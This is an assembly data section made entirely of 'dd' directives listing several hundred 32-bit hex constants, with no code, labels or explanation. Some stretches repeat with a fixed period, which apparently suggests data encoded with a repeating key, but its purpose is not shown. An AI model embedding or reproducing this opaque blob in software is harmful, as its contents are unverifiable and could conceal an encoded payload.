dd 0A640EE86h, 17DC50FBh, 535408A8h, 68047D2Dh, 0E57924A3h
dd 0A3109D30h, 0D9A340FEh, 0C444B758h, 0CC94FEBh, 0C853E071h
dd 1A375C12h, 0DC65FF8Ch, 4CEAA043h, 0EA8710C9h, 6C35AF5Ch
dd 1C9330D3h, 0BAD7E084h, 42FC5FECh, 0B84BF09Bh, 67FD6C37h
dd 335820C3h, 5713900Eh, 0D9A748DCh, 0C144B758h, 34B46800h
dd 0B764F28Fh, 43CC802Bh, 0DB73ECBFh, 58D67B20h, 0F5A441BBh
dd 710EC452h, 17C4122Fh, 0A649E04Dh, 28DD5AF8h, 9AB7DC97h
dd 62D57F0Ch, 0D86C10C3h, 82259918h, 79848D1h, 0C43DBA58h
dd 14AE871Fh, 0C560F76Bh, 3CE97C11h, 0E45C0BB0h, 58F0B12Fh
dd 0E9A53ABEh, 9314C768h, 21C43BF6h, 982BE45Dh, 33D74CD4h
dd 945609A8h, 68F75AEFh, 0D2892BC5h, 761A9032h, 0F2A90B3Fh
dd 963AB052h, 0C958D32h, 6353DE81h, 36CE6D2Fh, 167AFE8Ch
dd 5BF4C9F1h, 8BAEBBBh, 6F10A14Bh, 17B30CCCh, 0A839E471h
dd 24DA50FBh, 0C754CE7Fh, 68FB742Dh, 0D86C248Bh, 881BBECFh
dd 0E6772BDCh, 0A833BE68h, 10B06F04h, 0A95EFF6Ch, 27D48728h
dd 4384F898h, 54ECA90Ch, 8A041BFh, 5915AA4Eh, 3C437D8h
dd 0A749E44Dh, 24DB4CFCh, 0B64E07A3h, 5CF962EFh, 0CC5520ABh
dd 61079033h, 0ED931CCBh, 0B333BE5Ch, 0CC564F1h, 0C866D073h
dd 2ECE4F12h, 1A7F98Ch, 5809BE2Bh, 0E9A41FB0h, 9314C768h
dd 15AA3FF5h, 9843DC7Ch, 46DE5DDFh, 536AEE9Ch, 55EA7F35h
dd 0D8831CBCh, 861E9D1Fh, 0D8AA2EDCh, 971D4B67h, 14B44DE2h
dd 0C87AD07Bh, 32D06F22h, 0D75D0B95h, 54F48D22h, 0F6B410BBh
dd 8547AD5Ch, 16C42ED6h, 0A70D3B72h, 19D74CD4h, 926600A8h
dd 66045E0Dh, 0D16E24ABh, 6213B9CFh, 0D98D40CFh, 8344B758h
dd 238E4FE5h, 0B577D96Ch, 46D47E26h, 0DE7EDFA2h, 7117A93Ch
dd 8973ABBh, 76148E65h, 21BE34DBh, 0C343099Fh, 48D35A01h
dd 0AC85EFA2h, 64F47F21h, 0D07448C3h, 0A3109D36h, 8C82F05h
dd 0BC30BD4Ch, 25AE6105h, 0BC53CC74h, 32038926h, 437DF09Ah
dd 65E68F25h, 0D9A41FB8h, 8823AD68h, 289C37D0h, 9C49EA84h
dd 3FD37D0Fh, 0B65009ACh, 76046F16h, 0D1700DABh, 641EBF2Eh
dd 0E6902EE5h, 0A140BD5Bh, 46A6BBFEh, 0C453FE50h, 43E46F11h
dd 0E27BEE6Fh, 520AA032h, 0F7A416B2h, 710EBEBFh, 17CA30D5h
dd 0A734E29Fh, 37DA5AF7h, 0B44DF4A1h, 55277014h, 33851EBCh
dd 871D9042h, 0F68E2E3Fh, 8333B05Ah, 18C369E8h, 0B764D981h
dd 46CE8742h, 0E188D38Ch, 0B3F4A73Bh, 8931998h, 8714C951h
dd 46B330EEh, 982DE986h, 47E45FF2h, 0C758EFB2h, 61E08B0Ch
dd 0D18920ABh, 733E9F2Ch, 13B849DCh, 0A833B978h, 27B469F1h
dd 0C164DB56h, 14CB6D2Ch, 0D77DD46Fh, 58ED8D3Ch, 4A43DBBh
dd 6F10A15Bh, 47A8CBCCh, 0AC27FC4Dh, 271D9D42h, 0A5B7E7C3h
dd 5FEA720Ch, 0EE740EC6h
dd 5507A42Ch, 3AE42DCh, 0A822B94Ch, 34BF80F8h, 0CA64FD8Fh
dd 45D47030h, 0DF88E1A8h, 5BD4A02Ch, 8B9EB90h, 87148E5Eh
dd 18BB2CFDh, 0B43F007Ch, 0B91A810Fh, 0A9851DA9h, 0C401DF7Ah
dd 3B899A91h, 4F742A1Dh, 8E77F116h, 0B915A1EBh, 233E71CFh
dd 1D346AA7h, 5637B1DAh, 854D1B2Bh, 6C8C7BE7h, 0D43FD64Ah
dd 93F75B67h, 0E79B5857h, 8DD7E5A2h, 16F77C0Ch, 0F3220A9h
dd 7353163Fh, 457258Bh, 188EBE21h, 1365F651h, 12DB0F32h
dd 0E982D58Ch, 5B03AE8Fh, 0D3C428C2h, 16A7416Ah, 8517A5A8h
dd 3587DBB7h, 64B3E6BFh, 33A73500h, 0F6DFE550h, 3DF3B34Fh
dd 0E8DECB85h, 0C335C695h, 26B7BFE2h, 0A2C7F0A1h, 5D269DB8h
dd 46A96E87h, 8B3E8ECEh, 32CE6AD0h, 0D3941F06h, 0DB570B6Fh
dd 0B317AAABh, 23A1BFDAh, 5311274Ah, 0F367CBD7h, 0C5D9E59Fh
dd 0B7DFABF9h, 0ADB71BA6h, 73DA5CEFh, 1EF97036h, 4C2E6BFDh
dd 3E695056h, 12644B9Dh, 70D24CEBh, 6395400Fh, 68ACA7A2h
dd 43B51B6Fh, 86E62CE2h, 0A802BD46h, 93E57605h, 0EA445AB4h
dd 4EAF3B9Fh, 5E4EEA86h, 89A281FCh, 959E18EFh, 4B97FB87h
dd 0F28E2AE9h, 3E4960CAh, 25C4B9Dh, 0F357A338h, 32CE34F7h
dd 0A9B42696h, 0C8A7416Ah, 30378F9Fh, 235F31D6h, 1A343BFh
dd 88E2CA66h, 730516D5h, 0DED3EB8Ch, 6B8AAA04h, 0F27F8BEFh
dd 0AEFE9A35h, 58CACA8Eh, 1377DB67h, 2068A8AFh, 0F385B60Bh
dd 0E83C74C2h, 0D3259977h, 0F458DFC0h, 0E2E8AC0Fh, 395249DCh
dd 0B7F3E2BFh, 0CE796066h, 351C3BADh, 0BBF4AB0Bh, 53B71B7Fh
dd 867C0C44h, 0CD97D15Ah, 0A174F8C6h, 0E377F13Ah, 67071881h
dd 7657A51Fh, 2A6537CBh, 9424F7Ch, 8AC7586Fh, 0A922B15Ch
dd 3D87CF4Fh, 6DBA98BFh, 0FC3F2349h, 0F0D73B9Fh, 0B1A14CD1h
dd 16E7F048h, 8FDB2018h, 0B794FB6Dh, 1C4973D7h, 495B27ACh
dd 46C942AFh, 0F357E3CCh, 0E46C2B8Fh, 94218A4h, 0F30C966Fh
dd 361751F3h, 237FCFC3h, 9360DFC6h, 9FE8CB2Fh, 73D73DA7h
dd 0E44353DBh, 0E8DE1B7Fh, 0C335C66Dh, 0B70C97EAh, 0A3086FEBh
dd 13910B3Fh, 83E74FD7h, 45A9711Fh, 0D8CE028Fh, 0D325B681h
dd 0BA1C5462h, 0B3177CDBh, 25A13CA0h, 6BF8C570h, 4367CB2Fh
dd 0B1645A51h, 5947A14Ah, 9E6371FCh, 0C7FF5F3Fh, 0A97FB60h
dd 0C3E3DFC6h, 8277DB41h, 59EB793Ch, 0B3D4741Fh, 57EA417Bh
dd 2D83262Fh, 0FA58DD6Fh, 0F9A41A0Dh, 0CC87E18Ah, 0E3241B3Ch
dd 0D5D4CAFDh, 0F0D711BAh, 1AF96FDEh, 0D07FDFA9h, 0C3288F7Eh
dd 73CA665Fh, 0F6307B39h, 0E3C70BAAh, 0B3179B7Fh, 49E4DAD1h
dd 0E4C721CAh, 0D339A3BBh, 27738A6Fh, 0C1A41AE7h, 0D687E183h
dd 0BFFDD0D6h, 0C58CCB1Dh, 61573B9Bh, 29486019h, 685BA80Ah
dd 0AC8A8BDDh, 439770E4h, 0D40A6BFDh, 9749BAEDh, 725F5AEFh
dd 0F257BB20h, 63C83B0Bh, 0FD1D1BFFh, 0C3651B9Ch, 370E7BF5h
dd 2387EC50h, 88D7793Fh, 0D1E81160h, 0BA0D044Fh, 0A2C26DFCh
dd 92B8E13Dh, 5DD8D9DAh, 6652C5Fh, 0AFF500C6h, 3EC0DB0Dh
dd 32645AF0h, 7057BB1Fh, 79ADB70Ch, 2B3785FFh, 43A70B73h
dd 487EAE0Fh, 2355E75Dh, 93F76794h, 52E4DA2Fh, 0CD73B9Fh
dd 0E347ABC0h, 0A5873900h, 481E6138h, 3397FBFCh, 3FFF3152h
dd 976EE813h, 83E74B48h, 0A6C49B33h, 62912733h, 0D337277Ch
dd 239CB86Fh, 0A0375BFFh, 0F7A41270h, 0BF4BBA4Ch, 84AB400Fh
dd 8BF75A75h, 34D45FFBh, 0C3BAF900h, 583EBAE9h, 6256C1C7h
dd 2DD87ACFh, 1377022Fh, 12192DDEh, 0E982118Ch, 93071E8Fh
dd 0AB074B2Fh, 43A70B78h, 5106AA1Bh, 7A81AB3h, 0B9843ABFh
dd 88670123h, 6605CFDFh, 13C43458h, 0A4B73153h, 0C3298B17h
dd 9682CDFh, 0BD742A1Fh, 9077F113h, 59D2E23Ch, 0AC8A6B1Fh
dd 9577FC5Bh, 685E4C30h, 43B546C5h, 0E2337F5Eh, 3952DDDCh
dd 13BA33BFh, 0D9543AB4h, 36C03C9Fh, 0E4E1ACF9h, 0C6DE2E16h
dd 48140AEBh, 26610F1Fh, 36B7F6AAh, 3FC7DE4Ah, 70720034h
dd 5DD2BB2Dh, 63C72C93h, 0D42F258Ah, 4BAA0B6Fh, 2EF7460Ah
dd 4E59E1Ah, 0F536604Bh, 867DB65Ch, 0EE2A4ADEh, 97C28253h
dd 9351CFAFh, 0D2015D40h, 1E097036h, 20826BFDh, 1365F6DDh
dd 5EDB0F32h, 0FA303E66h, 636132CEh, 12B09BA7h, 25A4E72h
dd 74E6AF1Dh, 0E0AB30A1h, 7229BE68h, 17C53AE2h, 9130F253h
dd 36D65AEBh, 0C564DEB3h, 57FD7021h, 0E689208Dh, 4F1D9A38h
dd 0EFA733FCh, 9544BD56h, 25B86F1Fh, 9B53D06Eh, 0D3E36E26h
dd 0F3A70B71h, 0B3177BDFh, 7AA1DB8h, 7810B5A5h, 1FB7F9CDh
dd 0B610099Fh, 44DE8BDAh, 0AD4BFC9Ch, 78216C20h, 13694092h
dd 5C3EB540h, 955FB05h, 9833BD58h, 0F32F7029h, 90C72B8Fh
dd 0E1BD0880h, 0C8E50B5Dh, 0B3457046h, 9DF4AA4Fh, 0D4F7719Ah
dd 0CFB3EA57h, 0E8523989h, 0E315A6D1h, 719BC7B8h, 4405B51Ch
dd 0E89C9A75h, 694CF8F2h, 8E77F113h, 0E8164D5Dh, 78CC20FDh
dd 6395224Ah, 0A582086h, 0BCF10B5Dh, 718B151Dh, 24D8A645h
dd 63922AE1h, 9232F357h, 573BBEF6h, 27D4AF17h, 53B72327h
dd 86E55EEFh, 0EF4B3F85h, 19742ACFh, 0E77F11Ah, 0F6DCBFEFh
dd 0A2AABD09h, 7992291Ch, 6687FAFFh, 52EDA917h, 0B31223B6h
dd 0E9BAEB4Fh, 662E9A82h, 3F9B0F15h, 9645A9Fh, 0BB47A14Ah
dd 42DE7902h, 0D2759197h, 860C9A36h, 0B60761E1h, 83F46888h
dd 0B4E781A6h, 43A86CD0h, 3278FC60h, 9220D6Ch, 43A2736Fh
dd 86E47BDFh, 355A3D8Ch, 4F2B9FA5h, 79D4CA2Fh, 0BD711BAh
dd 0E347AB19h, 0C567EE8Eh, 69F37918h, 6267FBA0h, 0B9D2695Ch
dd 0D9F4643Fh, 82E781AAh, 28CC4830h, 0DCC721A8h, 91B677Ch
dd 0B8EEDC6Fh, 0B345564Dh, 238313E2h, 486C5BBFh, 375E4B1h
dd 657CC858h, 0BB47A143h, 42DE7048h, 68A4D20Dh, 3397D155h
dd 8A64EE1Fh, 1377F135h, 7104E034h, 47A7BB2Dh, 63612C79h
dd 0D3398331h, 0B8EE8B6Fh, 0B34557EDh, 0F8B1ABCCh, 5B6CE8A1h
dd 35670145h, 0E84C4189h, 0E315C9ECh, 0A387D1ABh, 386E5D40h
dd 33C5D779h, 0B5742A27h, 5977F113h, 59ED9E2Ch, 0EF2FBB1Fh
dd 9AC72B8Fh, 0EFA6A32h, 7BD3D62h, 0E217C723h, 395281DCh
dd 9A0FCEBFh, 8067CB2Fh, 69DF742Ch, 70BC840Fh, 53A53781h
dd 0D2744F97h, 338BA336h, 5C366BCFh, 0D8AD2405h, 0BF23797Bh
dd 883EBBE3h, 6395261Dh, 572EDB7Ch, 43A70D5Ch, 0B314A352h
dd 0B8FCEB4Fh, 93E554AEh, 0F1EC5808h, 0BD711B3h, 0B24EE014h
dd 7F99B802h, 0C2278BDDh, 3399EBDBh, 139BECCFh, 0E777DB40h
dd 83E84C57h, 0F5E4DA1Fh, 0E4C721C3h, 0D3380BBBh, 7722DB6Fh
dd 0E2E97B49h, 394BCDDCh, 5CB7E0BFh, 7BBFD8DCh, 22D73B92h
dd 0F912219Ch, 0D6D9867Fh, 990D7264h, 0C84FB5Fh, 9122F054h
dd 82C7DB0Dh, 59EB593Ch, 0F217401Fh, 63C8B40Bh, 0CFF726FFh
dd 13EE0BFAh, 0C1F60066h, 0A845EB7Dh, 93E57972h, 1D673530h
dd 22D9E5A0h, 0F90BC59Ch, 42DF9E7Fh, 0C4070FF6h, 0B02AFB5Fh
dd 0B9ED8E5Ch, 0E587453Fh, 7D544A82h, 78579133h, 0A3443ACFh
dd 50379B00h, 198D08E4h, 0CB0FCCDFh, 720EA592h, 93F7CF67h
dd 0A982292Fh, 0C7F30F28h, 0EEBD4086h, 2C1B4Dh, 0C335A97Ah
dd 17EFFCF0h, 208E2AC9h, 497D33ACh, 9BE7B5AFh, 0F357BB0Bh
dd 0D8CEFE61h, 0D325B7EDh, 37C3CFF4h, 0A287F064h, 22B7EB7Dh
dd 5772650Dh, 0A328DF0Bh, 74113DA7h, 0D5497521h, 97B21EC9h
dd 0E4A793CBh, 2BF7BC66h
dd 0C7437620h, 0E369BA2Fh, 4F130834h, 0FF2FBB2Dh, 88C72B8Fh
dd 0F3DFB1E5h, 23BD2B55h, 983460F9h, 488FE375h, 86D47B57h
dd 3C9E1539h, 0CAD71B65h, 0EE054086h, 17381B4Dh, 0C3278B53h
dd 0A67FBC9h, 99742A22h, 8E77F113h, 59D4D334h, 9657651Fh
dd 6000D6AAh, 0D3340330h, 28C50B6Fh, 8A17853Bh, 2EC58046h
dd 0D77A5B8Dh, 0FE421B33h, 73D74287h, 548C380Fh, 0AAB73175h
dd 0B9940A42h, 0B897D173h, 2033A98Fh, 495B0F8Ch, 0FB84CEAFh
dd 0F357910Ch, 717AB814h, 91129BCDh, 0F9580B99h, 0C5A41A12h
dd 0A687E183h, 0B21D5BD7h, 802D56C0h, 69FBEF2Ch, 0B53C1B0Fh
dd 0B3C7F0E5h, 0D271BC97h, 4A891C36h, 7A7C74B2h, 8E11C640h
dd 9D76F6h, 0E97B6FB4h, 0EA235E8Fh, 26A0068Eh, 0FA5A026h
dd 20977BEDh, 235500B6h, 6BD1AFC0h, 367401Fh, 5E85B0F6h
dd 70C7AB3Dh, 53A539B2h, 0A187FEFh, 299D22DCh, 0A3076BCFh
dd 0E6F4A13Fh, 83E781A5h, 0A23DC388h, 0AB447206h, 0D337B1ECh
dd 0F0270B6Fh, 0B0177FA1h, 1673A59h, 0B30DCA66h, 1F8731D6h
dd 5434E188h, 37277A2Fh, 735408A8h, 66477A1Bh, 0D57427BCh
dd 88138C41h, 3371E820h, 63076B8Fh, 28CA9BE6h, 0B564D874h
dd 45D882DFh, 247DF08Bh, 58E985E4h, 0F79D10B3h, 862AC063h
dd 1B8744D3h, 9C47CB80h, 47DD4C2Fh, 0C35F005Fh, 64F36E0Ch
dd 13AB0FC5h, 81289F42h, 0FA8D44DBh, 80FC6BA9h, 27B87229h
dd 0C160D372h, 2FD8BB1Eh, 0E4832B93h, 51F85B38h, 0FC9DCBABh
dd 0AF23C35Eh, 15BE310Fh, 8C49E1BFh, 36E359ECh, 0CA97E45Fh
dd 8DF37410h, 0CB660564h, 0C3249D2Ch, 33942DE0h, 5F34BA68h
dd 0CC9613Fh, 0B663D96Ch, 32FABBD6h, 23C8F094h, 4C378F28h
dd 0FC93CBC2h, 0B3D8C064h, 16863FF8h, 0A738E7BFh, 2D4A8CECh
dd 0D7B3EA2Bh, 0B71ABBAEh, 0FC66EBFDh, 97E0657Ah, 0B0B6CB9Dh
dd 0C41AD48h, 9D345B05h, 3C1A1240h, 0B39F4AD4h, 96598D6Ah
dd 4B283377h, 2387C13Ah, 93F75BBFh, 367CB2Fh, 73D73B9Fh
dd 0E347AB0Fh, 53B71B7Fh, 0C3278BEFh, 3397FB5Fh, 0A3076BCFh
dd 1377DB3Fh, 83E74BAFh, 0F357BB1Fh, 63C72B8Fh, 0D3379BFFh
dd 43A70B6Fh, 0B3177BDFh, 2387EB4Fh, 93F75BBFh, 367CB2Fh
dd 73D73B9Fh, 66E7AB0Fh, 899E5BDCh, 28AA8BEFh, 33C5DA1Bh
dd 66567ACFh, 1BCA682Bh, 892202B6h, 37D2EB22h, 0A5A20FABh
dd 0FE406D03h, 377A13B1h, 8E23BD6Ah, 9800F791h, 93E57AFFh
dd 0D22350B8h, 78B23BADh, 0C51FED92h, 57F9FC38h, 73A413EFh
dd 4B97D17Bh, 0A3076B2Bh, 1377FBE7h, 9064D8AFh, 3C579142h
dd 5F5343C8h, 0B533DB82h, 0A3248A1Eh, 0F61751F6h, 0A08AC43Eh
dd 93E57F6Fh, 132EDB52h, 0F6D7CAF3h, 0B969AF77h, 765C9808h
dd 8DAA8BDDh, 0E940F5Fh, 93196E01h, 0DB1B29C4h, 4D6AA98Ah
dd 0A2534F1Fh, 32CA56C1h, 2A4F8B11h, 1EEE8A26h, 0F78C66A5h
dd 0CB87E186h, 0D6E3A6C2h, 0D20350B6h, 0F8963BADh, 0E315AAAFh
dd 53B71B7Fh, 0C327C797h, 9314865Fh, 0FB076106h, 821EB18Fh
dd 83E763D7h, 53FC3E1Fh, 63C721C6h, 60B0A30Ch, 43B52E28h
dd 307EF7CAh, 2355EAEFh, 3774EA02h, 7C670126h, 69FE9B0Ch
dd 0E34AD30Fh, 0CAA1B7Fh, 439A16B2h, 597FB5Fh, 0F28D18B7h
dd 5704DE56h, 86E781A6h, 0EFC13E4Dh, 6A433A8Fh, 56379B00h
dd 42A71BA9h, 0B317185Bh, 1FC9764Fh, 1AF436Fh, 886ACA66h
dd 73051ADBh, 5DF7F112h, 53E09B87h, 0CCA7A41Bh, 0F39A0F85h
dd 5B821CBAh, 62185C40h, 48E2A06h, 2F8B7F78h, 8CDBE08Fh
dd 0BCBAE3EAh, 9A1E1A29h, 59177BDFh, 360D23D0h, 2E746A91h
dd 3967CB2Fh, 0A8D71522h, 0D301360Ch, 4D321D2Ah, 0DBD8FCF2h
dd 62FE99B1h, 0B2C3E0D2h, 98CCDB0Dh, 82B2C3EFh, 0F3573F9Bh
dd 27146A8Fh, 2337B1D6h, 52EDE017h, 0F7947EB6h, 0A287E186h
dd 0C9DE1F3Ch, 0E763CE2Fh, 7597BE52h, 793E0642h, 0D3C97E87h
dd 4DAABB8h, 0C93DF7Bh, 9FE04FE3h, 6EB7161Bh, 82B2CCD8h
dd 271C164Eh, 0FBD2ACC5h, 4782893Ch, 0ECF28C5Dh, 677EDCFAh
dd 59126C75h, 874BF0A1h, 76324C0Dh, 0A7CAF308h, 30522C25h
dd 0C7EAD328h, 89720CFDh, 0E7F8E076h, 0B392ECD5h, 7180016h
dd 0E7544AADh, 3E579136h, 32CEDCF8h, 95BA5996h, 51FE747Bh
dd 0B55A1AB6h, 7BAFEFB9h, 29E306Fh, 0E98160B7h, 0DB353BADh
dd 0C549C340h, 55BA7F3Fh, 5DC27191h, 28EF335Dh, 268E2ABCh
dd 64F6E381h, 1B0F5059h, 0A23ED047h, 0B6CA650Fh, 0D5072B0Ah
dd 19C535ECh, 9A72E5DFh, 0BDAF13B9h, 88FA353Fh, 9B587B47h
dd 22BE50A7h, 0E347ACC7h, 0C7099F7Fh, 0D187DCF4h, 4E05A629h
dd 0A307E3CCh, 75D25B3Fh, 0F85C0E26h, 0F3859393h, 0DD682BAh
dd 52B4F2C2h, 43A74167h, 0B20F7BDFh, 8348ABDCh, 107431CAh
dd 4670127h, 7035416Ch, 0D6629098h, 7B2CA00Dh, 58298BDDh
dd 248C215Dh, 890316ECh, 0F954DC44h, 126B331Ah, 36D2DA76h
dd 0EB34B4BBh, 6E37B1D6h, 0C2248232h, 0B31751F7h, 227FEB4Fh
dd 3FF31B2Ch, 92CBB399h, 8505AF6h, 0E315AAC3h, 7B2CA00Dh
dd 58288BDDh, 4EC80A5Bh, 3EC756D1h, 92F4B282h, 83E781A7h
dd 274FBB1Fh, 0DC44B5AEh, 9437B1D7h, 4085160Fh, 0EF5C06Ah
dd 9DE1A3FFh, 0C9DFE43Ch, 0EE478C2Fh, 0EC33E29Ch, 0A31A160Dh
dd 65D2C69Dh, 0C89E6F67h, 0B811665Fh, 0A3D56358h, 7338133Bh
dd 0D3AAF6C7h, 1977E673h, 0C9C75647h, 2D40066Ah, 2CFFE36Bh
dd 307E1AABh, 8348BD4Bh, 0CF4C1C7h, 9E02316Fh, 0CD678BA2h
dd 0BBEFADF9h, 42DE6F7Fh, 95F3DD6Bh, 4B5F03C9h, 0F28E1EBBh
dd 56A9A555h, 3DAD105Bh, 0AD3D04EBh, 1DCD867Bh, 8D5DA70Bh
dd 7DED179Bh, 0DCC7872Bh, 70D7B83Ah, 86724EAh, 8BF7905Ah
dd 0F09A7C0Ah, 0F90F47C4h, 0D234727Fh, 0C327C1E7h, 0E717FB5Fh
dd 3D27DBD2h, 3BEE604Eh, 83E74B9Dh, 0FAC3C31Fh, 3F420047h
dd 0CAEE46FFh, 19AF9AECh, 0B3177EDFh, 5A03FA50h, 43F75BBFh
dd 7C027557h, 69FEA334h, 7D5F1B0Fh, 0EF1CA4EAh, 0DA27C1E6h
dd 29BF8ADCh, 0A3076ECFh, 8A842F3Fh, 59EFDA2Ch, 0F357BB1Fh
dd 3BC4DF90h, 0C25EF9C0h, 9E4174DFh, 0A2AF006Ah, 6202EB7Dh
dd 407023AAh, 3750A9Fh, 0DBBB0328h, 0F94E4FEEh, 0B9F72EEAh
dd 42A4025Ah, 3697D177h, 77076BCFh, 90F4B145h, 3E781A7h
dd 352FC0EBh, 0EBCE6A05h, 0F9B07F1Eh, 0E9E73EDAh, 3294128Ah
dd 2687E187h, 87F75BBFh, 80E4C1FCh, 0F3D711B7h, 0D15FB0FCh
dd 2BDE7A15h, 0D26E084Bh, 0A9EFDBEFh, 68E2ACAh, 82DF4118h
dd 0F482B1BCh, 72E446CAh, 3AC721C7h, 0D679F2B1h, 0D8A70B6Fh
dd 0E0FD23CBh, 12D7AA46h, 2A2CBE7h, 92EF3166h, 472E18Ch
dd 5E7E36BAh, 899EABFCh, 3C5FB6EFh, 0B80697A7h, 0A3D56356h
dd 1377DB42h, 8B6795Bh, 0F38593A6h, 69C72B8Fh, 5866BD0Bh
dd 43B543F6h, 0B4177BDFh, 751FF0BCh, 0A9E3AD4h, 0D96F5AACh
dd 73D73B9Fh, 0BB445F0Bh, 42DE7984h, 8B9E109Eh, 3393FB6Dh
dd 9A136BCFh, 821D4267h, 430003E6h, 5BF20375h, 67536B97h
dd 0BBE4336Ah, 5A42F21Ah, 0A93F0A5Ch, 2387F34Fh, 132EB0BFh
dd 0D96F58A4h, 0B9433B9Fh, 0B24DA677h, 5B90B316h, 2821D4D8h
dd 33C5D3E8h, 9D0A0F8Fh, 495F649Ch, 0D477F6AFh, 70D445C9h
dd 0FDC721C7h, 58315B4Fh, 43B543F8h, 0D5BFA189h, 0A204A244h
dd 0A3F77197h, 1767CB2Fh, 0CD108B9Eh, 0AFD423EDh, 2B27C69Dh
dd 1E67BE59h, 222358E8h
dd 28966BFDh, 1365F3C6h, 83E74B8Fh, 3B07C4ECh, 6B46B099h
dd 39919BCDh, 5AE78CE7h, 0A93F0A5Ch, 23872B4Fh, 13FAAFBFh
dd 6861F36Bh, 7305131Eh, 70C016EDh, 53A53AF7h, 42A4025Ah
dd 3397D177h, 78476BCFh, 15C76B48h, 59EFD22Ch, 7846251Fh
dd 63952316h, 0D3379B7Fh, 8B37169Ch, 9B8F00E9h, 7EE1EB7Dh
dd 0C45FC194h, 82E4C247h, 73D711B7h, 3747AB10h, 4D90AB81h
dd 992F134Ch, 36F3BB5Fh, 0AB7FD0D9h, 0AE95DB0Dh, 1368034Dh
dd 0DBCE406Eh, 65C72BBDh, 0D5E49BFFh, 0A8A153DBh, 0B3455367h
dd 0B00056ADh, 93E57A0Bh, 37F67A7h, 0F8C6A69Fh, 0E315A396h
dd 53B71B87h, 947F7C1Bh, 6AFE9A34h, 0B9CFFA4Ch, 1373DB3Fh
dd 0D3E2C0AFh, 6CD4C5B7h, 0FDC721C7h, 586668AAh, 43B543F6h
dd 0B31783DFh, 0ABA5FCBCh, 38F13B42h, 37503B8h, 330AA67Dh
dd 4934D6B9h, 4DBF44D7h, 992F144Ch, 36F3BB5Fh, 0AB80D0D9h
dd 0AE95DB0Dh, 4B5ED0DEh, 357BB2Dh, 0EB652B8Fh, 0D6E3DB80h
dd 3D9F4FEFh, 0A93F047Ch, 22E2114Fh, 0BB6CE00Dh, 9B02CB1Dh
dd 22BE57DFh, 0EBBE307Eh, 53B71B4Dh, 0BCF34BEFh, 0B8992BEFh
dd 0A3D5634Eh, 92F4B2A9h, 83E781A7h, 6357BB3Fh, 67C9E00Dh
dd 0C1EE28FBh, 0B26B0F9h, 30907BEDh, 2355EAE3h, 0FF77065Dh
dd 5366402Ch, 220EBB9Fh, 2C5F15CFh, 4ADE7A13h, 992F1A6Ch
dd 3357FB5Fh, 894F91CFh, 0C7793010h, 0D382B198h, 6CD4C517h
dd 23C721C7h, 0AB919E9Fh, 52EE87BBh, 3886036Fh, 2355E3D6h
dd 93F7DBBFh, 89F7CDDCh, 5B56A029h, 7EE5AB3Dh, 0C8B477FFh
dd 43273BEEh, 8D579AA6h, 0F28B56B7h, 92F4B256h, 83E781A7h
dd 2857BC1Fh, 5D879B9Ah, 91F227Ch, 4202B56Fh, 0F39AD33Dh
dd 2B065059h, 2E155B8Dh, 9A01CC9Fh, 69FFCA1Ch, 0E547AB0Fh
dd 4A8EF07Fh, 992F1A6Ch, 3797FB5Fh, 33F1A0CFh, 8CF4E57Fh
dd 0FDE781A7h, 0E97F49BCh, 53E76C8Fh, 54D5331Dh, 5EA7BBDAh
dd 0ADD7CBE7h, 394F74CCh, 18A605BFh, 37503B6h, 73CF3B9Fh
dd 6BE5BBFCh, 0F8B18302h, 0C335C377h, 344766BDh, 5B5773BAh
dd 3BEF6049h, 1A814B9Dh, 0E97F4A9Ch, 53C72B8Fh, 48E42CFFh
dd 0C62FF14Ch, 2BB485B7h, 987E187h, 2DB76E2Ah, 0D2CB8818h
dd 0F8C63BADh, 0E315A396h, 53971B7Fh, 5AB8AA1Ch, 9B75F64Ah
dd 480183D8h, 1365F3C7h, 7DEA2FEFh, 0E97F43BCh, 7C22D18Fh
dd 91E1754h, 0BDE8956Fh, 0A93EF77Ch, 0B3E2114Fh, 1A745D77h
dd 5D670127h, 5B4EC0EEh, 0E34AAB3Dh, 75631C7Fh, 8B9E109Eh
dd 3397FB6Dh, 99146FCFh, 3BEE604Eh, 83E74B9Dh, 0F8C4BE1Fh
dd 32D1AFF7h, 0BD920396h, 0C8F68A26h, 0B3455366h, 1B87EB4Fh
dd 0CC675E4Bh, 82E4C299h, 73D711B7h, 37C7AB0Fh, 6DB6AB5Fh
dd 992F126Ch, 3DF7BC5Fh, 0C7FFF4D4h, 9AD4DD3Fh, 43E781A7h
dd 0B7D7BE7Bh, 0C417968Bh, 0C29F8169h, 0CA44150Fh, 591751F7h
dd 0A204A2FAh, 0B3F77197h, 1767CB2Fh, 0F2545252h, 0E347A147h
dd 0C7971B7Fh, 0C66602F4h, 0E797FB5Fh, 3D77DBCCh, 5AF2AE6Ah
dd 5253D83Ah, 0B472BB2Dh, 0F3CBEC18h, 5AB4A537h, 9DA74167h
dd 9B8E00AEh, 2387EB7Dh, 8F235B7Fh, 0C69783CDh, 5B56C0A9h
dd 0DD62AB3Dh, 33DEB39Dh, 8BA630F9h, 8E75FB6Dh, 0AB7EF0BEh
dd 137ADB0Dh, 96334CAFh, 0DBCE406Eh, 63C72BBDh, 0D0E3BBFFh
dd 43AA521Eh, 0B8037BDFh, 7EE17BFFh, 0EAEE6D2h, 0D96E77ACh
dd 0EC8F269Fh, 9C1AE7D7h, 7B2EA00Eh, 0C3278BDDh, 3184FBDFh
dd 0AB86F054h, 0BF1DB0Dh, 86B0CB6Fh, 0F7CCD3F2h, 53A3EFD4h
dd 0CB57DCFFh, 664296DFh, 0A4BFA1DDh, 9E2110Fh, 6B77EA17h
dd 367CBA7h, 0CE355CA1h, 9CC416E7h, 0FB55218Ch, 1E05CBE0h
dd 0B031BEEFh, 0B9CF074Ch, 92F4B23Fh, 83E781A7h, 2867BB1Fh
dd 2BA2028Dh, 4E400637h, 4BC233C2h, 30922B0Ah, 2355EAFBh
dd 0C283D0C0h, 0CC68CB1Dh, 77F3FF2Ah, 0D3E02898h, 321B4Dh
dd 0C335CA87h, 2223808Ah, 28966BFDh, 1365F3C6h, 83E74B6Fh
dd 0BB46BDEBh, 63C36D3Ah, 80BA522Dh, 43B54A33h, 0FC938ADFh
dd 7B87EB50h, 93F75BC4h, 419910FAh, 650A075Ch, 1FFB6F35h
dd 0C1447A7Fh, 3C27C1EAh, 29BE9BDCh, 4B82BECFh, 823FDE13h
dd 0C6627362h, 0A837E32Bh, 0D8426A06h, 0D325BABFh, 3F690ECAh
dd 0A2730068h, 0E58AEB7Dh, 0EB74E4C7h, 7E670126h, 0E6BE2372h
dd 0E347AB8Fh, 42E4B427h, 3AC16A6h, 997D176h, 0F294D8B7h
